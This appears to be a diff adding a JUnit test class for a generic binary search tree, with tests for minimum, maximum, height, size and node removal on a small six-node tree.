+import org.junit.Test;
+
+
+
+public class BinarySearchTreeTest {
+	
+	BinarySearchTree<Integer> tree = null;
+	
+	@Before
+	public void setUp() throws Exception {
+		BinaryTreeNode<Integer> root = new BinaryTreeNode<Integer>(6);
+		root.setLeft(new BinaryTreeNode<Integer>(2));
+		root.setRight(new BinaryTreeNode<Integer>(8));
+		root.getLeft().setLeft(new BinaryTreeNode<Integer>(1));
+		root.getLeft().setRight(new BinaryTreeNode<Integer>(4));
+		root.getLeft().getRight().setLeft(new BinaryTreeNode<Integer>(3));
+		tree = new BinarySearchTree<Integer>(root);
+	}
+
+	@After
+	public void tearDown() throws Exception {
+		tree = null;
+	}
+
+	@Test
+	public void testFindMin() {
+		Assert.assertEquals(1, tree.findMin().intValue());
+		
+	}
+
+	@Test
+	public void testFindMax() {
+		Assert.assertEquals(8, tree.findMax().intValue());
+	}
+
+	@Test
+	public void testHeight() {
+		Assert.assertEquals(4, tree.height());
+	}
+
+	@Test
+	public void testSize() {
+		Assert.assertEquals(6, tree.size());
+	}
+
+	@Test
+	public void testRemoveLeaf() {
+		tree.remove(4);
+		BinaryTreeNode<Integer> root= tree.getRoot();
+		Assert.assertEquals(3, root.getLeft().getRight().getData().intValue());
+		
+	}
+	@Test
+	public void testRemoveMiddleNode() {
+		tree.remove(2);
+		BinaryTreeNode<Integer> root= tree.getRoot();
+		Assert.assertEquals(3, root.getLeft().getData().intValue());
+		Assert.assertEquals(4, root.getLeft().getRight().getData().intValue());
+	}
+}